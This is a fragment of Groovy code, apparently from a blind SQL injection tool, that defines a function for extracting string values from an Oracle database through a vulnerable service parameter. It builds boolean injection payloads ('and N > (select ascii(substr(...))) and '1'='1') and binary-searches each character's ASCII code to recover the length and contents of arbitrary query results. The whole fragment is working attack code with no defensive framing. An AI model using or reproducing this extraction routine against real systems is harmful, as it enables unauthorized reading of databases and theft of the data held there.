// get String (VARCHAR2) def getString(String positiveValue, String sqlText) { // ------------------------------------------------------- // get a string (VARCHAR2) as a result of a select statement - sqlText // positiveValue - a parameter that returns some data from the service // sqlText - a select statement returning a single varchar2 column named text // println "read a string value using injection string:" println """${positiveValue}' and \${checkedASCIIValue} > (select ascii(substr(text,\${i-thPosition},1)) from (${sqlText})) and '1'='1""" // get the length of the string first println "get the length of the string first..." def length = getNumber(positiveValue, "select length(text) from (${sqlText})") // now get the string String res = "" String x // length loop (1..length).each { i -> //println "guess the ${i}. position of the string" int Lo = 32 // printable ASCII int Hi = 126 while (Lo < Hi) { int check = Lo + (Hi - Lo + 1)/ 2 println "testing ${check} ..." x = """${positiveValue}' and ${check} > (select ascii(substr(text,${i},1)) from (${sqlText})) and '1'='1""" // if (isFound(x)) {Hi = ((char)((int)check)-1); println 'higher'} else {Lo = check; println 'lower or equal'} } println "${i}. position = $Lo ${((char)Lo)}" res += ((char)Lo) } println "found ${res}" return res }